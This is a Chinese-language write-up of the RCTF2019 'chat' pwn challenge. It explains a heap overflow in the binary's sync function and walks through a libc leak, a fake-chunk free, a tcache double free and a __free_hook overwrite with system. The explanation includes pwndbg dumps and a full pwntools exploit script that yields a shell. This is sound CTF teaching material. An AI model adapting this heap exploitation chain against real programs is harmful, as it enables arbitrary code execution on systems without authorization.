RCTF2019 pwn chat writeup

堆溢出类型,难点在于程序及其复杂的结构体,赛时靶机环境是glibc-2.27,下面所讲的symbols在IDA分析文件中均有对应。

源程序和相关文件下载:https://github.com/Ex-Origin/ctf-writeups/tree/master/rctf2019/pwn/chat

安全防护

ex@Ex:~/test$ checksec chat
[*] '/home/ex/test/chat'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

简介

程序里面是一堆及其复杂的结构,我们不可能把每一个函数都进行仔细分析,只需要在关键点下断点就行了,比如sync函数,modify功能,在这些地址下断点,并观察其执行前的状态和执行后的状态,然后进行对比,这样能更快理解程序。

溢出点

sync

mmap_addr->message->message原本应该是字符串的,但在sync函数中却被当成偏移来使用,所以造成了该漏洞,这个比较容易发现,因为这个漏洞会直接造成程序crash。

message_list = (struc_message *)malloc(0x30uLL);
v11 = (struc_message *)((char *)mmap_addr + mmap_addr->message);
v5 = message_list;
v5->message = (__int64)strdup((const char *)mmap_addr + v11->message);// exploit

now和user_list

now是一开始就初始化好的,在程序中一直指向260chunk,但是在sync函数中,会进行一次更新操作,而且tcache是FIFO模式 ,也就意味着我们可以利用别的结构来控制now的260chunk。最好的理解方式就是画图。

调试结果如下所示,所以now的每一次被写入的结果都是可预测的。

Breakpoint sync
pwndbg> pr
user_list
$26 = (struct user *) 0x8ba260
$27 = {
  user_num = 0, 
  room_num = 0, 
  name_mmap_offset = 0x40 <error: Cannot access memory at address 0x40>, 
  next = 0x0, 
  field_18 = 0x7f9910ee6044, 
  name = 0x8bb170 "dddddddd\020\060\276\377\377\377\377\377", 'd' <repeats 16 times>, "\220\061`"
}
room_list
$28 = (struct room *) 0x8ba6b0
$29 = {
  room_num = 0, 
  name = 0x8bb100 'b' <repeats 88 times>, 
  field_10 = 0xa8, 
  next = 0x0
}
message_list
$30 = {
  user_num = 0, 
  room_num = 0, 
  message = 0x8ba290 "P\207\316\020\231\177", 
  field_18 = 0x15e, 
  is_use = 0, 
  next = 0x0
}
pwndbg> stepret

pwndbg> pr
user_list
$31 = (struct user *) 0x8ba6b0
$32 = {
  user_num = 0, 
  room_num = 0, 
  name_mmap_offset = 0x40 <error: Cannot access memory at address 0x40>, 
  next = 0x0, 
  field_18 = 0x7f9910ee6044, 
  name = 0x8ba260 "dddddddd\020\060\276\377\377\377\377\377", 'd' <repeats 16 times>, "\220\061`"
}
room_list
$33 = (struct room *) 0x8bb170
$34 = {
  room_num = 0, 
  name = 0x8bb1a0 'b' <repeats 88 times>, 
  field_10 = 0xa8, 
  next = 0x0
}
message_list
$35 = {
  user_num = 0, 
  room_num = 0, 
  message = 0x8ba290 "P\207\316\020\231\177", 
  field_18 = 0x15e, 
  is_use = 0, 
  next = 0x0
}

思路

  1. 泄露libc
  2. free假的chunk
  3. double free
  4. 劫持hook

泄露libc

因为mmap申请的内存每次和libc的偏移是固定的,可以利用sync的溢出点泄露libc地址。

sh.recvuntil("please enter your name: ")

name_addr = 0x603140

name_layout = [
    0x61616161616161, 0x61616161616161, 0x61616161616161, 0x61616161616161,
    0, 0x21, 0, 0,
    0, 0x21, 0, 0,
    0, 0x21, 0, 0,
]

sh.sendline(flat(name_layout))
sh.recvuntil("help\n==========================================\n")

sh.sendline('enter ' + 'b' * 0x58)
sh.recvuntil('==============================================================')
# offset = 0x41d000 - 0x10 # _GLOBAL_OFFSET_TABLE_+16
offset = 0x21d000 - 0x10 # _GLOBAL_OFFSET_TABLE_+16

# pause()
sh.sendline('say ' + p64(0x10000000000000000 - offset))
sh.recvuntil('==============================================================')
# pause()
sh.sendline('')
sh.recvuntil(': ')
result = sh.recvuntil('\n')[:-1]

# You should calculate the value by yourself
value_offset = 0x408750 + 0x202000
# value_offset = 0x408750
libc_addr = u64(result.ljust(8, '\0')) - value_offset
log.success("libc_addr: " + hex(libc_addr))

fake_chunk

sh.sendline('')

# pause()
sh.sendline('modify ' + 'd' * 8 + p64(0x10000000000000000 - offset) + 'd' * 0x10 + p64(name_addr + 0x40 + 0x10))
sh.recvuntil('==============================================================')

sh.sendline('modify ' + 'e' * 0x78)
sh.recvuntil('==============================================================')

这里用到了上面我们在name中构造的fake_chunk,原理是注入payload之后,在更新时,由于payload的chunk是0x30的size,刚好可以符合struct name的长度,所以可以通过同步,来控制260chunk的内容,也就是now的值。这样就可以直接free掉我们伪造的chunk。

调试结果如下:

Breakpoint sync
pwndbg>  pr
user_list
$1 = (struct user *) 0x1c76260
$2 = {
  user_num = 0, 
  room_num = 0, 
  name_mmap_offset = 0x40 <error: Cannot access memory at address 0x40>, 
  next = 0x0, 
  field_18 = 0x7f7d94006044, 
  name = 0x1c77170 "dddddddd\020\060\276\377\377\377\377\377", 'd' <repeats 16 times>, "\220\061`"
}
room_list
$3 = (struct room *) 0x1c766b0
$4 = {
  room_num = 0, 
  name = 0x1c77100 'b' <repeats 88 times>, 
  field_10 = 0xa8, 
  next = 0x0
}
message_list
$5 = {
  user_num = 0, 
  room_num = 0, 
  message = 0x1c76290 "P\207\340\223}\177", 
  field_18 = 0x15e, 
  is_use = 0, 
  next = 0x0
}
pwndbg> stepret

pwndbg> pr
user_list
$6 = (struct user *) 0x1c766b0
$7 = {
  user_num = 0, 
  room_num = 0, 
  name_mmap_offset = 0x40 <error: Cannot access memory at address 0x40>, 
  next = 0x0, 
  field_18 = 0x7f7d94006044, 
  name = 0x1c76260 "dddddddd\020\060\276\377\377\377\377\377", 'd' <repeats 16 times>, "\220\061`"
}
room_list
$8 = (struct room *) 0x1c77170
$9 = {
  room_num = 0, 
  name = 0x1c771a0 'b' <repeats 88 times>, 
  field_10 = 0xa8, 
  next = 0x0
}
message_list
$10 = {
  user_num = 0, 
  room_num = 0, 
  message = 0x1c76290 "P\207\340\223}\177", 
  field_18 = 0x15e, 
  is_use = 0, 
  next = 0x0
}
pwndbg> prn
$11 = (struct current *) 0x1c76260
$12 = {
  user_num = 1684300900, 
  room_num = 1684300900, 
  name_mmap_offset = 0xffffffffffbe3010 <error: Cannot access memory at address 0xffffffffffbe3010>, 
  room_mmap_offset = 0x6464646464646464, 
  field_18 = 0x6464646464646464, 
  user_name = 0x603190 ""
}
$13 = (struct message *) 0x7f7d9400615e
$14 = {
  user_num = 0, 
  room_num = 0, 
  message = 0xffffffffffbe3010 <error: Cannot access memory at address 0xffffffffffbe3010>, 
  field_18 = 0x0, 
  is_use = 0, 
  next = 0x0
}
$15 = 0x7f7d93be9010 "P\207\340\223}\177"

可以看到,执行完sync函数后,user_list->name用的是260chunk,也就是意味这now可以被我们所控制,所以now->user_name已经是我们伪造的chunk的地址。

double free

这里同理,进行double free,那么就可以在tcache中写入__free_hook

# pause()
sh.sendline('modify ' + p64(libc_addr + libc.symbols['__free_hook']))
sh.recvuntil('==============================================================')

结果如下:

pwndbg> bin
tcachebins
0x20 [  2]: 0x603190 —▸ 0x7f8ab8e7d8e8 (__free_hook) ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

劫持hook

消耗掉前面的0x603190,之后便可以拿出__free_hook,将__free_hook改为system从而拿到shell。

sh.sendline('modify ' + p64(libc_addr + libc.symbols['__free_hook']))
sh.recvuntil('==============================================================')

sh.send("say " + 'f' * 0x17)
sh.recvuntil('==============================================================')

# pause()
sh.send("say " + p64(libc_addr + libc.symbols['system']))
sh.recvuntil('==============================================================')

sh.send("say " + '/bin/sh\0')
sh.recvuntil('==============================================================')
sh.send("say " + '/bin/sh\0')
sh.recvuntil('==============================================================')
sh.send("say " + '/bin/sh\0')
sh.recvuntil('==============================================================')
sh.sendline('')

sh.interactive()

完整代码

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys

# Create a symbol file for GDB debugging
try:
    gdb_symbols = '''
    struct user
    {
        int user_num;
        int room_num;
        char * name_mmap_offset;
        struct user *next;
        void *field_18;
        char *name;
    };
    struct user user_no_use;

    struct current
    {
        int user_num;
        int room_num;
        char * name_mmap_offset;
        struct user *room_mmap_offset;
        void *field_18;
        char *user_name;
    };
    struct current current_no_use;

    struct room
    {
        long long room_num;
        char *name;
        void *field_10;
        struct room *next;
    };
    struct room room_no_use;

    struct message
    {
        long long user_num;
        long long room_num;
        char *message;
        void *field_18;
        long long is_use;
        struct message *next;
    };
    struct message message_no_use;

    struct mmap
    {
        long long user;
        long long message;
        long long room;
    };
    struct mmap mmap_no_use;
    '''

    f = open('/tmp/gdb_symbols.c', 'w')
    f.write(gdb_symbols)
    f.close()
    os.system('gcc -g -shared /tmp/gdb_symbols.c -o /tmp/gdb_symbols.so')
    # os.system('gcc -g -m32 -shared /tmp/gdb_symbols.c -o /tmp/gdb_symbols.so')
except Exception as e:
    print(e)

context.arch = "amd64"
# context.log_level = 'debug'
execve_file = './chat'
# sh = process(execve_file, env={"LD_PRELOAD": "/tmp/gdb_symbols.so"})
sh = process(execve_file)
elf = ELF(execve_file)
libc = ELF('./libc-2.27.so')

# Create temporary files for GDB debugging
try:
    gdbscript = '''
    set $user_list=(struct user **)0x603258
    set $room_list=(struct room **)0x603120
    set $message_list=(struct message **)0x603250
    set $mmap_addr=(struct mmap **)0x603110
    set $now=(struct current **)0x603240

    define print_recv
        p *$temp
        if $temp->next
            set $temp=$temp->next
            print_recv
            end
        end

    define pru
        set $temp=*$user_list
        print_recv
        end

    define prn
        set $temp=*$now
        p $temp
        p *$temp

        set $temp=$mmap_addr
        set $temp=(struct message *) ((char *)*$mmap_addr+(long long)($temp->message))
        p $temp
        p *$temp
        p (char *)((char *)*$mmap_addr + (long long)($temp->message))
        end

    define prr
        set $temp=*$room_list
        print_recv
        end

    define prm
        set $temp=*$message_list
        print_recv
        end

    define pr
        echo user_list\\n
        p *$user_list
        pru
        echo room_list\\n
        p *$room_list
        prr
        echo message_list\\n
        prm
        end

    define prmmap
        set $temp= (struct user *)((char *)*$mmap_addr + (*$mmap_addr)->user)
        p *$temp
        p (char *)((char *)*$mmap_addr + (long long)($temp->name_mmap_offset))

        set $temp= (struct room *)((char *)*$mmap_addr + (*$mmap_addr)->room)
        p *$temp
        p (char *)((char *)*$mmap_addr + (long long)($temp->name))

        set $temp= (struct message *)((char *)*$mmap_addr + (*$mmap_addr)->message)
        p *$temp
        p (char *)((char *)*$mmap_addr + (long long)($temp->message))
        end

    b sync
    b *0x401FB3
    '''

    f = open('/tmp/pid', 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()

    f = open('/tmp/gdbscript', 'w')
    f.write(gdbscript)
    f.close()
except Exception as e:
    print(e)

sh.recvuntil("please enter your name: ")

name_addr = 0x603140

name_layout = [
    0x61616161616161, 0x61616161616161, 0x61616161616161, 0x61616161616161,
    0, 0x21, 0, 0,
    0, 0x21, 0, 0,
    0, 0x21, 0, 0,
]

sh.sendline(flat(name_layout))
sh.recvuntil("help\n==========================================\n")

sh.sendline('enter ' + 'b' * 0x58)
sh.recvuntil('==============================================================')
# offset = 0x41d000 - 0x10 # _GLOBAL_OFFSET_TABLE_+16
offset = 0x21d000 - 0x10 # _GLOBAL_OFFSET_TABLE_+16

# pause()
sh.sendline('say ' + p64(0x10000000000000000 - offset))
sh.recvuntil('==============================================================')
# pause()
sh.sendline('')
sh.recvuntil(': ')
result = sh.recvuntil('\n')[:-1]

# You should calculate the value by yourself
# value_offset = 0x408750 + 0x202000
value_offset = 0x408750
libc_addr = u64(result.ljust(8, '\0')) - value_offset
log.success("libc_addr: " + hex(libc_addr))

sh.sendline('')

# pause()
sh.sendline('modify ' + 'd' * 8 + p64(0x10000000000000000 - offset) + 'd' * 0x10 + p64(name_addr + 0x40 + 0x10))
sh.recvuntil('==============================================================')

sh.sendline('modify ' + 'e' * 0x78)
sh.recvuntil('==============================================================')

sh.sendline('')
sh.recvuntil('==============================================================')

sh.sendline('')
sh.recvuntil('==============================================================')

# pause()
sh.sendline('modify ' + p64(libc_addr + libc.symbols['__free_hook']))
sh.recvuntil('==============================================================')

sh.send("say " + 'f' * 0x17)
sh.recvuntil('==============================================================')

# pause()
sh.send("say " + p64(libc_addr + libc.symbols['system']))
sh.recvuntil('==============================================================')

sh.send("say " + '/bin/sh\0')
sh.recvuntil('==============================================================')
sh.send("say " + '/bin/sh\0')
sh.recvuntil('==============================================================')
sh.send("say " + '/bin/sh\0')
sh.recvuntil('==============================================================')
sh.sendline('')

sh.interactive()

运行实例

ex@Ex:~/test$ ./exp.py 
[+] Starting local process './chat': pid 20694
[*] '/home/ex/test/chat'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/home/ex/test/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] libc_addr: 0x7f4924803000
[*] Switching to interactive mode

sh: 1: Syntax error: EOF in backquote substitution
sh: 1: P\xb7�: not found
sh: 1: ffffffffffffffffffffff: not found
sh: 1: : not found
sh: 1: @$\x85\x7f: not found
sh: 1: : not found
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),127(sambashare),129(wireshark),132(docker)
$  

总结

对于这种复杂的程序想把其吃透是很难的,所以最好的方式就是仔细分析其关键路径,进而在当中挖掘漏洞。